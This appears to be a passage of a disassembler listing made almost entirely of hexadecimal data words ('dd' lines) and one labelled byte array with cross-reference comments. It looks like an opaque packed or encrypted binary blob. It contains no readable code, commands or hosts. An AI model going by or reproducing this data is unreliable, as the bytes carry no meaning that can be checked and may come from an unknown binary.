		dd 0E5D90060h, 5FBB034h, 0B3E6B92Bh, 74EEFD50h,	0D0062E00h
		dd 0E2A85AF3h, 0A72C1898h, 0C1F41D4h, 7519A02h,	0A03B74F6h
		dd 9471898h, 0D7C40F75h, 2A4EC9F3h, 0DDCFCBA0h,	270E5FE8h
		dd 0C0F51370h, 0C7E3E501h, 44B0A668h, 8002D0Ah,	7951E61Dh
		dd 73B334Dh, 8E1FA846h,	92E3601Ch, 6C5234AFh, 0F9511D8h
		dd 12B6C103h, 1100307Bh, 45974EBFh, 4F4DBBh, 0A861EF71h
		dd 7DFABA0Ch, 0ABC73100h, 375FE146h, 8F50CA74h,	0BE5C60D4h
		dd 5D0A9EABh, 0C88DDC7h, 95A87800h, 1249338h, 0C7D0AB03h
		dd 0F4FB254Ah, 0D27810B0h, 0AF50A550h, 0FAE029F2h, 94B6F61Dh
		dd 8E5EE8C4h, 220B2100h, 2F3A6814h, 294D80BFh, 0FF314B92h
		dd 0A970A06Ah, 0DD3A8426h, 0A613C2A0h, 0C2A40048h, 0F37531DAh
		dd 340D050Fh, 5F4521D1h, 69805BA4h, 5E9A197Fh, 4E5C1CBFh
		dd 0AE7C01BEh, 4FE7E38Eh, 1AF3F1E3h, 0E898E1BCh, 8BAC39DFh
		dd 0CC3CE02Ah, 0CBCB128h, 3114E670h, 1154D303h,	5818097Ch
		dd 5ED52976h, 0D0C8D00h, 48E6F3A5h, 0D02C0E34h,	28B6551h
		dd 63FFF307h, 0B8E27C7Dh, 58303044h, 0B272595Fh, 0BBB71CF1h
		dd 0B6C04E36h, 37C3AD00h, 4D0AC7B8h, 0D0461519h, 74509811h
		dd 9C1F8875h, 6F965D00h, 0BCF52810h, 38723013h,	8407D5A9h
		dd 0EB1C51EEh, 42809955h, 100B9E49h, 30DB0AB5h,	988C483Dh
		dd 7780407Ch, 8F1867FCh, 5C7139F1h, 2A900A7h, 13C3FF25h
		dd 1200C558h, 0DDE78538h, 88357210h, 900F815h, 234FA41Ah
		dd 246B29D4h, 64E00688h, 629741BCh, 39892793h, 0E810A4ACh
		dd 5F12E377h, 0F422723Bh, 0D2C2E04h, 0A7093831h, 3BC1C6Dh
		dd 8840443Ah, 156A681h,	0D5BBA918h, 0E171E466h,	5F14FCD9h
		dd 0C798C60h, 0E2E59C2h, 0AB0561DCh, 9D63C980h,	0F21733A7h
		dd 0B200205Fh, 131E7F75h, 8C8099B5h, 0E4892288h, 198F5E30h
		dd 5C04D3Ah, 0BD3B8652h, 54D0C02Dh, 0DA00FE81h,	5B51B4F7h
		dd 3B7594F3h, 3D0FB813h, 7740372Fh, 4B22FA06h, 34806218h
		dd 913832D9h, 209B88FCh, 3C10C680h, 13FC22Ch, 15C0F119h
		dd 92319261h, 0B8215821h, 0D6304986h, 4D6901FBh, 5CD8DA35h
		dd 0E0BC30F0h, 16E95B03h, 1B9A32Ch, 0FA800E31h,	8068A5C9h
		dd 3E958F79h, 30FEE6Bh,	0EF316472h, 3100805Eh, 84E586BAh
		dd 0B267DFh, 0B7575342h, 1FC476D5h, 62C9C805h, 68040A9Ah
		dd 88445A01h, 0D4704018h, 58C28C35h, 2A030236h,	0D0EC2698h
		dd 0E8F882B1h, 1303CFE6h, 5D56C14Ah, 88A7E1FBh,	0BD414CC3h
		dd 0DBA5D600h, 68E9726Dh, 8A588B98h, 0A7428008h, 24C5AFA1h
		dd 11DC759Bh, 13A81327h, 2AC9EC1Eh, 0EED480EFh,	14C1FA09h
		dd 0F01AEB8Fh, 2A1B81C0h, 8D00EDB0h, 9F9CF976h,	7303DCFh
		dd 0C67DFCF2h, 94DF308Ch, 280001EEh, 90025392h,	7AF9BB04h
		dd 0BF41C036h, 7DD62983h, 3723B71Fh, 0BD790A43h, 172018FDh
		dd 832C2910h, 9DD85D3Fh, 478063B5h, 965A34CAh, 0BBC00E8Dh
		dd 6A3B49Dh, 48040BF1h,	0B19B1776h, 0AA81435Eh,	88504769h
		dd 5100942Ch, 1C91900Eh, 783D24h, 76362F07h, 48D3E0Bh
		dd 0C123D006h, 0C800680h, 0AFFA30FDh, 0A01C8650h, 0D2C0895Fh
		dd 0BBE0989Dh, 52F09ECh, 82869E41h, 0C10679B4h,	0EE2421CAh
		dd 8E3E00C8h, 0D680D528h, 10EF514h, 0D88D0D79h,	609B1B60h
		dd 49DD39BAh, 0D71D93D2h, 120E4B99h, 9782A05Ch,	3F11A65Eh
		dd 0FBB00E58h, 3734F991h, 0B79D94A8h, 64622900h, 1B1E010h
		dd 0CF803E8Ch, 1719EFBBh, 0D42D2903h, 6D001187h, 0A0FF294Fh
		dd 5F9C97h, 8ED21D5Eh, 38FA2446h, 25313C60h, 51338D8Ch
		dd 5BCCE890h, 0C02B0A48h, 9E9011B9h, 0C39901BBh, 0E08ED745h
		dd 173323CBh, 0C8F64115h, 73F9A191h, 487B8Ah, 5BD789BEh
		dd 0B73A2BC1h, 0A478963Bh, 35101003h, 0B3D8080h, 0B800F294h
		dd 0DCA29023h, 1FEBC008h, 0FC124FEh, 0A1A00E5Bh, 9255469Ah
		dd 0C9E8C450h, 17B0C5F4h, 0D0A1176Ch, 1028439h,	8FC0F30Ah
		dd 20608012h, 7BF86B67h, 0D898D023h, 21083318h,	0D02F75Ch
		dd 6BEDF893h, 28275F5h,	0C360E45Ah, 9C2AF0DAh, 630FE0B6h
		dd 0A0A79FC4h, 8EC1E4FBh, 9CD61839h, 0BD6D21B7h, 63B85A07h
		dd 0C3C6F496h, 5B6F0719h, 7ECBF0D5h, 6A142B00h,	0A1005A69h
		dd 544D1527h, 3E7BAED0h, 0F050802Dh, 0F9B80C28h, 1AD9363Bh
		dd 28049524h, 0DF33E81h, 11861097h, 290F16CAh, 0DA5FFA00h
		dd 73CF55EDh, 9ED0005Dh, 0AE66620h, 27007F23h, 312FCA49h
		dd 1FF84EAh, 0DABF12FAh, 8003335Bh, 2F2ECC51h, 0F45A4BB3h
		dd 18231824h, 81426111h, 2C787F1Ch, 0A8910C80h,	5B439Fh
		dd 0D687C8D2h, 8C4EE20Dh, 715E8A0h, 2FFC5C50h, 6C286493h
		dd 0EB0D886h, 1077E881h, 0A8C29BBBh, 0E26AE89Ch, 6CE31C18h
		dd 0FF702704h, 84637200h, 0F5C4B8D3h, 2E2C01F1h, 0D185B24h
		dd 4C8DED12h, 0F0E701A4h, 5818C27Ah, 3659BC9Bh,	26037791h
		dd 0E55CC6h, 0A422DF3Ch, 0BA249F25h, 0AD40D8A2h, 1D088BF6h
		dd 402475CBh, 211D6305h, 1A6E91C1h, 0B323C1B1h,	10866B68h
		dd 18297428h, 2F009A7Ch, 0EF89E3C7h, 2710A70h, 75905C25h
		dd 14606DAAh, 9189F27h,	1771C177h, 5A8CA80Ch, 0A1F000DBh
		dd 7F288760h, 1813D242h, 2D0277C7h, 62BFBEFAh, 0D6E498B8h
		dd 0BB920423h, 10E85F34h, 300A22B4h, 0E1B10DD8h, 0AE00989Ch
		dd 0D64F6899h, 3AA84EEh, 7DE8A3B3h, 29000E33h, 0CA9EC57Ch
		dd 44289FBh, 0FEB4FFC4h, 10148A27h, 20044C9Fh, 423940FAh
		dd 68F58A1Ah, 728ECA64h, 243B7404h, 40649B0Dh, 65312E2Bh
		dd 147BCD2Ch, 583AF90Ah, 0A2189D16h, 3285F29h, 0AAFE8B51h
		dd 27EADDA1h, 4C826DC2h, 3011C8Ah, 60945466h, 1C4C3C8Ch
		dd 34225C04h, 2F58C815h, 8F3F7600h, 9ECCF17Fh, 0A2F001FCh
		dd 0FAD8921Ch, 9B605231h, 82006032h, 0B55284BEh, 543028A8h
		dd 5A12ED00h, 0A438A276h, 41F7602Fh, 4E98EE56h,	299AD31Dh
		dd 0FCFABFC0h, 798E3694h, 18F001BBh, 2EF96BC0h,	0DA40403Ah
		dd 91748D35h, 0B1A7ECA3h
		dd 20F93D21h, 0D3BEF70h, 9B61638Ah, 0A29905B5h,	806C4B3Bh
		dd 0BD9E5759h, 0B9939400h, 0CA15F54Dh, 0D9A2167Fh, 0E49B04D1h
		dd 27E8D092h, 4A26A08Fh, 0B80990CCh, 2C78909Bh,	0B1AA00DBh
		dd 426DBAFAh, 44E4A28Dh, 9342615h, 744E0080h, 27F28B71h
		dd 349EEBAh, 6E2C8AEh, 38F0359Ch, 0B826399Bh, 309F2843h
		dd 0B200986Ah, 0C34FC049h, 3DA1F5h, 0AEDC15DEh,	28E79D04h
		dd 83015D06h, 310E2Fh, 75AB4FA3h, 19EA88EFh, 90F5B2C0h
		dd 90102280h, 182C77A8h, 0F105CE93h, 0D491B7C0h, 25349800h
		dd 3807941Bh, 2484938Fh, 0C21497C7h, 9101250h, 80AF547Bh
		dd 15A3FA30h, 10016823h, 26BA7F11h, 0C440D018h,	55CD74h
		dd 875A915Fh, 584B2DBBh, 233865F2h, 760989BDh, 90D82154h
		dd 99801433h, 4FAD126Dh, 20B02320h, 9F01587Bh, 8F24E9E5h
		dd 0A23194C2h, 16D0A88Ah, 96E80038h, 0E1917756h, 1D980400h
		dd 0E553F6Bh, 0C0D588Ch, 752A2E80h, 4D1403F6h, 0CF8CB4Bh
		dd 50B70CE4h, 0C9C4679Bh, 1C20609Eh, 0B1006D44h, 0ABE837EFh
		dd 0B38404Ch, 774B5E59h, 0FE2838B0h, 0DC901C90h, 0A4300A44h
		dd 46A900D4h, 0F519C3A7h, 900C975h, 0CA4BD6EFh,	998F0D84h
		dd 1EC81620h, 230762C4h, 0BF2E8A50h, 51F973A0h,	0B2E400C1h
		dd 903A5F94h, 521C1337h, 0D87B2303h, 0F9244080h, 0D03852h
		dd 278DB4A0h, 919B485Ch, 43C21DD8h, 6DB51222h, 0C0FABBE1h
		dd 157D0290h, 18B8A278h, 0C4500C42h, 0D2808801h, 265FD800h
		dd 3C96234Bh, 9C7C520Ah, 0B290158h, 40DC2C80h, 0ABBECEB1h
		dd 0DBFF7F0Fh, 0DB025C8h, 51BDFC40h, 2A7816Dh, 0B9FB2D97h
		dd 48ECF904h, 9D106E13h, 7DCA6800h, 0B04F7559h,	1D4ECB7h
		dd 2A41DAEEh, 60808862h, 93251A70h, 0B9342405h,	8CCAE441h
		dd 2175C891h, 38984A48h, 0F87DA4A6h, 838C9C14h,	98C887EFh
		dd 6D0C7h, 0ACF731AEh, 0B12BC060h, 943CB53Ah, 44BC1D83h
		dd 4D022D70h, 91254911h, 0F365C36Dh, 890C9745h,	0E6504E9h
		dd 0C8170655h, 0AC001FA8h, 1C740A5Ch, 31BC1846h, 0F9512BD1h
		dd 2646235h, 0D3C2D228h, 0A098A460h, 22B1C882h,	0E84482C1h
		dd 4A77B805h, 84001418h, 16F68E2Ch, 9849C01Bh, 89FE9258h
		dd 0DA00F870h, 4EFB57E1h, 480D49D6h, 0EA2820F0h, 15332240h
		dd 0E8991A26h, 0D1C00E4Bh, 3E858E3Eh, 0C2177A35h, 0A32014B8h
		dd 170F01Dh, 61DB0443h,	30CAB792h, 93890A90h, 3E3BC70h
		dd 0D95D1A4Fh, 62B8731Dh, 2A02F1FBh, 7B31E05Ch,	0CBE08419h
		dd 42841741h, 5289BC1Dh, 4D9BB004h, 9810C03Dh, 0B1D73A59h
		dd 8943D800h, 3BB3FE26h, 18C980Fh, 20DD809Bh, 0EF04972Ah
		dd 572922h, 0ACEEED5Fh,	0BF2908CFh, 0D239850Fh,	7F696033h
		dd 1ED0A1F7h, 0C025682Fh, 51B9EC87h, 81008396h,	0D510E51Dh
		dd 1C6AFBCEh, 40666C27h, 0A0E91A97h, 100B365h, 6F968EBh
		dd 0FEDE2192h, 915C00AEh, 0A12F4404h, 26F28017h, 307A7400h
		dd 4170E137h, 6BEF0099h, 0D5171895h, 3812A564h,	0EC002FF2h
		dd 0FF8990A9h, 5D3A3F55h, 26804B3Dh, 0CA315E7Dh, 7800D02Bh
		dd 0BDDBA4B5h, 0AF35F3h, 514DB865h, 48F8E8C7h, 5DA72512h
		dd 13D25081h, 7D32EAF4h, 165A30FFh, 0D0FB6070h,	4E1C8574h
		dd 6246E928h, 9205A0h, 1DD39698h, 0EBEC4D3Dh, 80C88539h
		dd 109433D5h, 26957303h, 0D9F5C2h, 5B3D8327h, 0E000B5C6h
		dd 3F653B90h, 0C3F0ECh,	464059BFh, 0B51EC83Eh, 98D46903h
		dd 0B0151D33h, 1817A42h, 1396FB72h, 0E586FC63h,	0EAB06FD4h
		dd 54A003Dh, 355CB330h,	0A90011DBh, 47CD1F91h, 7EC4201h
		dd 0EE77E21Eh, 0A3B4B061h, 9105DD24h, 0E3CCC4E5h, 596374D0h
		dd 3D7879F2h, 0FA80250Ch, 0F08CCE4Dh, 2316837Dh, 5B03D49Dh
		dd 0D88BDE29h, 9BEDB5h,	7101857Fh, 0F7B2D90Ch, 0E02B5E0Eh
		dd 0AE83226Ah, 0A7FC80E1h, 7F78F5h, 883ED2A3h, 5DC238CCh
		dd 9700EE74h, 7032EC52h, 269656h, 376F867Bh, 794369ABh
		dd 2A645A1Eh, 5B5E5F41h, 0CAFC7F41h, 0B0A800E4h, 4E70D0AAh
		dd 0C30B4279h, 287D6352h, 5A00A390h, 0AFB98BA4h, 0B09D385Eh
		dd 5D00604Ch, 1903A6CDh, 0C71CD61Dh, 3871FCh, 0B22E2178h
		dd 7958BB5h, 8EBD03E2h,	3F4EF091h, 656030C4h, 2857D578h
		dd 772000CBh, 91A43EECh, 7400E97Eh, 67C8892h, 1CA945FBh
		dd 0C0E036B7h, 0A8E5BB72h, 370150C1h, 3048A7C8h, 60388382h
		dd 81BE2400h, 0D86AC096h, 79B7C200h, 36DE7C1Ah,	6DD6A02Ah
		dd 830A48F1h, 0F4F5B600h, 0D04B6312h, 0C17E767Ch, 20BBC500h
		dd 0E96590DAh, 3CAB0091h, 0E5B0B785h, 0B2394980h, 3A2A002Bh
		dd 455B5381h, 0A2F8B5BCh, 80589F3Ah, 0B2E51C15h, 7FBBBE0h
		dd 21D25207h, 2CA7E94Dh, 1D0FA03Dh, 0CC247E61h,	2880CC27h
		dd 345C41ABh, 6BF000CFh, 3612B143h, 5248801Ch, 810F3AC4h
		dd 0AD40C502h, 0F9EC96E4h, 87E71C90h, 0A0180EDh, 3F86ECC8h
		dd 0D42F20C0h, 0F2907B3Ah, 82C6A1CBh, 1746F064h, 0B438DDh
		dd 1D0DAEA0h, 2500394Dh, 0BE5D1165h, 98AC28Ch, 6066C891h
		dd 0D1CF38A0h, 4601B364h, 3ED41FF0h, 0B3706C82h, 0C1B0DF63h
		dd 64C62D3Ch, 0E5492067h, 6F98CC00h, 1813D6E9h,	101D1FEFh
		dd 602E807Eh, 89DEA840h, 0DC969005h, 1C900A9Bh,	9B531E1h
		dd 0DE9FB1C7h, 0D3D5F883h, 4C353B0h, 2BA0FB00h,	23BC8B70h
		dd 0FA400002h, 0FDC6925Dh, 0DC00E120h, 0A5A609AEh, 917BB8Bh
		dd 143DEA83h, 5C331801h, 0D09035C8h, 5E0065CDh,	1EDB834h
		dd 353104Bh, 0E14E6D15h, 92A8E306h, 500EA77h, 1891A208h
		dd 0C78BECh, 342119FEh,	842F795Bh, 4B5DEB07h, 69C09460h
		dd 732644Fh, 0DD415AE2h, 3EAC6233h, 39355840h, 4F039498h
		dd 6EC2AA29h, 67103F3Ah, 0A83EB382h, 30408FFFh,	0EC000D01h
		dd 6C818868h, 0F1AB21h,	543BF4CCh, 806AF6D9h, 0D1C13112h
		dd 7E83C491h, 0C8220432h, 144D621Fh, 698FF240h,	8A0F8Dh
		dd 0EABA10DBh, 0F4CDD26Fh, 0CF245D00h, 17FC12E2h, 0BC77007Fh
		dd 0A0AE0361h, 0ABF2ED7Ah, 36B5810Fh, 9EF820BAh, 0E3FD327h
		dd 9BC007B0h, 2550CF80h, 3A006F41h, 0C8510108h,	0E5F730Bh
		dd 57B4FE91h, 54392180h, 0CB00BCECh, 0CCEF7E19h, 7511EE4h
		dd 8666E258h, 3D2350D4h, 0D900B230h, 317F21E1h,	31DD1F90h
		dd 0DE702F10h, 96803FF5h, 94CFEF4h, 4DEFD0CFh, 0CA1428C8h
		dd 84BDBB07h, 37916B97h, 7A7035D8h, 5E4F0024h, 9E89F556h
		dd 0D60031BAh, 717D7FF3h, 0FDC3F37h, 12FA3EA9h,	68C71020h
		dd 0D102F693h, 41982336h, 3508E8B2h, 8117033Bh,	7BBF1CE3h
		dd 645083Ah, 0FFD4BC11h, 19750089h, 0D3EF923Dh,	0D0F98FA4h
		dd 57606D58h, 0D40F9020h, 3AE0004Bh, 4361CFB9h,	221F3915h
		dd 6C402D54h, 986BCBBFh, 8646009Ch, 487E2B6Ah, 6D3122C0h
		dd 1D378877h, 17B375D4h, 9CC1719h, 400C038h, 2E5616B8h
		dd 57C77FCh, 7963F600h,	0B598386Dh, 0B00607B7h,	5091E644h
		dd 31938856h, 22F88425h, 80D18014h, 0DEEB8164h,	8E540065h
		dd 0E9466EE3h, 0CA01FE01h, 5E40B78Ah, 0DFD17EC9h, 0AB3580E3h
		dd 0F4AA0066h, 9FB78144h, 9500A56Dh, 33455E53h,	7E5B9DEFh
		dd 0B57D077Bh, 108A3B80h, 6D83FDA2h, 0D61A3C00h, 9078F9C6h
		dd 0F27A41h, 1CE798D5h,	1388A139h, 0DEC4661Fh, 21B459C0h
		dd 1DCADFh, 78705128h, 96675EF0h, 4418E309h, 0CD6487FCh
		dd 0DA52750h, 0F72100B2h
		dd 188D8B07h, 2B004360h, 0F02E5302h, 97DDEEh, 0FD3CA329h
		dd 62C86DCDh, 42192403h, 88A8F74Ch, 0E2C08E91h,	7E9B00A4h
		dd 0F6F2E1E4h, 90240F58h, 8900D795h, 2EAC694Eh,	7FC5007Ah
		dd 6B0FA8Eh, 1A28D596h,	4E6988Bh, 0D00B4120h, 0CEE0410h
		dd 108C0666h, 0DACC00F2h, 0FBAA9432h, 0B7038902h, 6674F558h
		dd 0C0C8923Bh, 32F1DFD6h, 8F29D9FFh, 89720110h,	444808B4h
		dd 2284A3D7h, 207F7660h, 24D2AA8Bh, 0CEF40B7h, 0F210AB15h
		dd 67448E2h, 96C07500h,	0A48F2F70h, 84F99F3Dh, 0B797F4F7h
		dd 0C00C2983h, 0B4ED29h, 77C8120Fh, 0EA915D5Eh,	3B638500h
		dd 0B9369FA1h, 18870016h, 0CDF3A7E8h, 3500D009h, 8F2DE2F5h
		dd 0C74194h, 0B7E612AEh, 0DBEC1005h, 0EA145500h, 5E29FCA7h
		dd 7B741FD3h, 36A84F32h, 0D869D9C3h, 95F1A0F8h,	7E894100h
		dd 6F0581F9h, 94C000BAh, 5636F669h, 61012BCFh, 1A14AC91h
		dd 0BC418348h, 18F4DBF3h, 0AA600190h, 0E7EFA6B1h, 1A95C079h
		dd 0A9004572h, 9B47B39Eh, 8C6F8Dh, 9770F4B0h, 96C73133h
		dd 3C925B3Bh, 0EB2A036Eh, 0F53BFEh, 6FE39E20h, 74C6B3AEh
		dd 0D579350Ah, 0A200FCDEh, 0B161F3A6h, 2C8E0718h, 0C04A9866h
		dd 6CB0CDACh, 86C3F100h, 0DB462E0Eh, 90E90029h,	0B2CB0C58h
		dd 0B0005DF7h, 0A9820B21h, 0FC973FCDh, 0AFF93049h, 80D7F40h
		dd 0B765EA01h, 9B8FCA0Ch, 66E3D0h, 242553E8h, 0A6566C72h
		dd 0C4F1DB00h, 5B1B33Ah, 51F000ACh, 45ADEC8Ch, 4C032630h
		dd 38FEC1AFh, 0F18ED0C9h, 1E5F0582h, 803C0F92h,	7409F45Dh
		dd 0F36DE20Ah, 803ED0B8h, 0FB26590Bh, 0B38C7Ch,	8175FA91h
		dd 46550643h, 0CD58A401h, 0EC89C920h, 74F0E1F8h, 4438006Fh
		dd 28AB2E10h, 46E44C72h, 7ED203Bh, 37DE6D53h, 9D38830h
		dd 49520E8Fh, 0EB031197h, 2EDF5A98h, 347C7060h,	9324CE21h
		dd 1F3BB035h, 0D4806A18h, 1A9A1FC4h, 2D5B008Ch,	775E7E46h
		dd 7B3F25F7h, 30F201CBh, 4E36DF76h, 0EE37E0h, 0A772F975h
		dd 924C91D0h, 40B25607h, 8CB0B80Eh, 7BAF8Bh, 23A25CEAh
		dd 6BDB0C9Ch, 0A92FF901h, 7011318h, 1EEECCh, 1252FA56h
		dd 4E58BA3h, 94A238EAh,	0E87CEC04h, 0ED645022h,	0E499E724h
		dd 3CF08100h, 0EEB0A5Fh, 54DCB974h, 0B9F9ECC7h,	909F2C27h
		dd 0C4FB6330h, 24CFE283h, 5B8D02EBh, 0D9204853h, 0D0CC009Dh
		dd 52B856D1h, 0F90073FBh, 0BCCE59E4h, 0F0A66Dh,	2BB26564h
		dd 82467644h, 8EBF0E1Fh, 2800BD52h, 22F94811h, 0ADCC3C0Ah
		dd 53964007h, 10C20656h, 1741BF00h, 88921F1Eh, 48183F82h
		dd 5D54A080h, 5EF6B2CAh, 409BAA00h, 3870CB65h, 3EA70784h
		dd 90F0526Ah, 468629DDh, 4DE10E00h, 48762C3Dh, 0B6CF002Fh
		dd 77A324E5h, 910070BDh, 31E495F7h, 0C604D21h, 7236A90Eh
		dd 5C24F160h, 743D2034h, 6F952F00h, 0A29F8C30h,	746E24FEh
		dd 627C00D9h, 38837E73h, 31001090h, 640BB9E8h, 0C089AFD4h
		dd 55DDEBA6h, 28002E4Eh, 0BB8B3488h, 0A0E22Fh, 7E06D025h
		dd 0A5FE27BAh, 0B7636A05h, 0C3C041C0h, 2450C307h, 10B91Eh
		dd 0EB2C1FBBh, 3D03C85Ch, 0B2878546h, 9A7AF9Ah,	80EAF7C2h
		dd 19A042ECh, 3C790A90h, 0A8ED66h, 2372060Fh, 6C008663h
		dd 73AA91B9h, 71DBC22Eh, 9D33246Dh, 2C420038h, 0CA646B1Dh
		dd 0F2C8FB1Eh, 0BF3683C0h, 0F705C5h, 2031E288h,	353FC82h
		dd 0C2D41900h, 8C2C5AD0h, 707383h, 0F993B1Ch, 4C561FC5h
		dd 0A3150300h, 0E99C59A4h, 0D4C824B7h, 0D2003FE4h, 2DE7A2CEh
		dd 0A001C29h, 6AB9CD59h, 0E28239h, 0E3232650h, 153F16D9h
		dd 0F1016B01h, 3B6EBD0Bh, 0B2DC8C80h, 61FC0A03h, 27CF1500h
		dd 0B94C9310h, 0D0630502h, 0C617A2A5h, 0AE00287Fh, 0CA4008A4h
		dd 0B476CBh, 990C4B97h,	79D2C73Eh, 0A45D2F00h, 20FBFED9h
		dd 47CB007Ch, 5F942EA9h, 5EF24D24h, 0B5A7A07h, 0BCA0C79Eh
		dd 402DABh, 0B03DC501h,	88DD1E65h, 0EF5E4300h, 0CD4B987Ch
		dd 0D2DC0057h, 0CFEC3E97h, 0E0004C9Bh, 62B0BD61h, 0EC6DD61Dh
		dd 126EC68h, 20A856E5h,	0D47C4BDEh, 0ADF6511Eh,	5C672A0Fh
		dd 8EB9600Dh, 7CB7E23Bh, 817324BCh, 51013DCCh, 3DB631B3h
		dd 0DD3B70CBh, 0EF6D0500h, 0B16B6912h, 3B40F2Bh, 0CC00CF4Dh
		dd 39A97786h, 10596402h, 0C0B5E033h, 5674090h, 574BDC07h
		dd 786B82Ah, 550A7D17h,	8D8831D0h, 0A28C0EDFh, 2060B1E5h
		dd 0C57F9BCEh, 0CFAD3500h, 0EFA0B0A9h, 0D40502C9h, 90291F42h
		dd 34B548E0h, 0D2637800h, 4D093139h, 59BC009Fh,	87806679h
		dd 7C00306Eh, 9394355Bh, 262D5Eh, 0FD529FDh, 8FD3E81Ah
		dd 0FEEA4072h, 58BA3726h, 0CA53A600h, 863194h, 0E10B85F7h
		dd 8C403580h, 0DE187F00h, 6F26631Ch, 66F10009h,	72CA86E2h
		dd 9D00B62Dh, 0BEEBF0CFh, 3130Dh, 0E25E3801h, 0B00C641Dh
		dd 670B39h, 4DA124FBh, 376A7EEh, 0FD45DF37h, 26E18E63h
		dd 0B727DC08h, 0C10342FCh, 0EBB93996h, 9E180525h, 40ED0312h
		dd 0B76190FCh, 42000F79h, 3169371Bh, 0E921C8h, 0F801DD8Ch
		dd 72EEA79Eh, 60949200h, 0EC11D0DCh, 526D040Ch,	0C0C9EBDDh
		dd 336C8FC4h, 96B08B00h, 5AFB5502h, 36A10016h, 456ED0D1h
		dd 3C00A080h, 6277D497h, 3DEB8561h, 9400893Ah, 5827F2F0h
		dd 0F1023D3Fh, 0DAC3A5CBh, 59A0E19Dh, 3432E071h, 0A4B0D30Bh
		dd 95092800h, 7F7D6834h, 0B4F69200h, 766AF58Ch,	3EC3FADAh
		dd 0B061DE3h, 582CBB70h, 6015C00Eh, 7245E0A5h, 5568E1Ah
		dd 0F0592695h, 0B71C6Eh, 817F87Eh, 57E4037Ch, 488F3200h
		dd 0D7D4368Dh, 0B701133Fh, 9B40202Ah, 4F090843h, 21610BE1h
		dd 0DDA0B928h, 0CA4ED4h, 38D9BCBEh, 62FF8226h, 61E70700h
		dd 2029C1EBh, 0CCBB1376h, 4AA000B6h, 0ECA0BAB9h, 9AD5AC00h
		dd 0FA6BD4D8h, 0EFF9847h, 193E447Ah, 20954680h,	64020981h
		dd 67292511h, 0A818C097h, 721A1B9Fh, 0B0BF50B7h, 3D5771F9h
		dd 77420E01h, 3CB88FE0h, 2D0460h, 5FFFB5F4h, 0A68DFBA8h
		dd 0D100E7FCh, 2B9A4A51h, 873884h, 9CDE33AFh, 6A02DC21h
		dd 0FA145E0Bh, 0B34000B1h, 7B845BCh, 550EFB6Dh,	0AF788C22h
		dd 10281B25h, 804D24h, 0A3B9B50h, 0B6E00260h, 45ECA250h
		dd 600F543Dh, 2D53F1B1h, 85EA3A21h, 0AED90180h,	0CE2F5AABh
		dd 507A9603h, 888624E3h, 0E48BEFh, 683FB863h, 646A16E0h
		dd 4F2FDF00h, 0A5BD8731h, 4C280058h, 0A3423A97h, 0ED795A22h
		dd 0BFD37A07h, 0DF90A10Dh, 74129569h, 8D740116h, 8A3D711Fh
		dd 0BCD7203Fh, 62C5C000h, 437A54A5h, 0E26D0076h, 0CCD842B8h
		dd 7007A9CEh, 87619DC0h, 99594DD0h, 7FC300B7h, 74A43A6Ch
		dd 0F8BF6B9Fh, 1E450030h, 57639D4Dh, 4E751C79h,	7E4B3B00h
		dd 4C78E44h, 0A87D37h, 7467A282h, 97314DDCh, 9AE8B500h
		dd 0CE4AA616h, 0A7744Ch, 51EC0E58h, 0B46B978Ch,	0DA0084E4h
		dd 30125E31h, 377BED2h,	951FB00Eh, 28004E42h, 1AEAD585h
		dd 19CD0DBh, 7333BD69h,	805542C7h, 0D570B420h, 246248B5h
		dd 2F8130h, 751F68E2h, 0BD00EA82h, 0FA5B3C94h, 0F017A4A5h
		dd 76E0C54Eh, 593EC0F1h, 0EC0070B2h, 4A14AC12h,	797372F4h
		dd 11F30FB0h, 0A7807CEEh, 94EF0551h, 37E83200h,	1F2D8703h
		dd 0ED000E1h, 5893D4C3h, 15030264h, 0E417C083h,	0D6DEF18Eh
		dd 1D35EEE4h, 0C09AAA66h, 89BE531Ah, 0B300194Eh, 0C837C68Eh
		dd 142703FAh, 0C8818086h
		dd 4DAD700h, 3AEEC90Dh,	0C60EBA04h
		db 66h
byte_530055	db 73h,	87h, 0A4h	; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dd 1FECE0E0h, 0DC9C0014h, 0E4E6BBD8h, 0AC78C70Ch, 5210D400h
		dd 0C25B9D6Ch, 99A80040h, 0CA2C799Ah, 0C6000265h, 0E217E43Ah
		dd 1414B930h, 9B1582B3h, 0B5798C00h, 46951E40h,	544B7E03h
		dd 808E331Bh, 6583EBh, 5EE3074Eh, 0D0978BAEh, 192AD47Ch
		dd 0B400F4C4h, 0F92CAD5h, 0B8854BEFh, 64671FADh, 906655h
		dd 8526FAFh, 0F007F5Eh,	0DFE3D679h, 168B24Dh, 5B639F72h
		dd 0D83A3CC8h, 7B00B12Ah, 0FE5F9D53h, 0ED6204Ch, 2212A484h
		dd 911DD220h, 0C9740C50h, 6035AF00h, 2314FF72h,	0FA800AEh
		dd 0A1E26CB4h, 5437DD17h, 0A06E30D1h, 8DC8FAFEh, 88E123Bh
		dd 48B9002Dh, 5B35983Eh, 0EE193A00h, 8865BD3Ch,	6FB89Ah
		dd 7C9776FAh, 794D2CCh,	846D2002h, 608E144Dh, 0F6708A08h
		dd 0AE970010h, 95437856h, 8F48D01Eh, 0B2CC0888h, 0CA0A006Dh
		dd 7E1681A7h, 0BA652C00h, 6925BC5h, 8B7A016Ch, 8111F963h
		dd 1E02D89Bh, 12219117h, 0FEB6F00h, 1DFE5CFCh, 3FABE9C9h
		dd 24D01383h, 15C02253h, 0E4902FF7h, 0A1172D00h, 60F15BAFh
		dd 0FE4E0092h, 5EDF3450h, 86000A6Eh, 8AC688F8h,	7A71DA8Ch
		dd 60021FBAh, 0DB00FC81h, 0C2737683h, 0F0798EAh, 143ACBADh
		dd 5D0D9E30h, 0C8D63E2Ch, 0B58604F6h, 58CD52h, 0A3FC0460h
		dd 0E8539011h, 0E8395099h, 88D60AE2h, 9492E6h, 0E856416h
		dd 2D0129FAh, 6EC31597h, 98D359BEh, 7CB1DBAh, 77A89D9Bh
		dd 134CC079h, 0EB0049C5h, 65080115h, 4EBBF8h, 0BE4A17A2h
		dd 9ADEC10Fh, 0DDC2701Ch, 0ACA53B40h, 2288375h,	41C323FDh
		dd 0D7401B60h, 6EEDA22h, 5DD66D0Ah, 0DE00C8DBh,	1FFF9083h
		dd 0F4D1EC2Ch, 1DCA0720h, 10F3C7B9h, 7D6386E3h,	0BCDBD900h
		dd 88BFFE7h, 523600A0h,	3D44FE3Fh, 9B7ED3DCh, 72D71800h
		dd 91D93E70h, 9D3901FFh, 7EEBC9A4h, 0E30207Ah, 0ED3834E0h
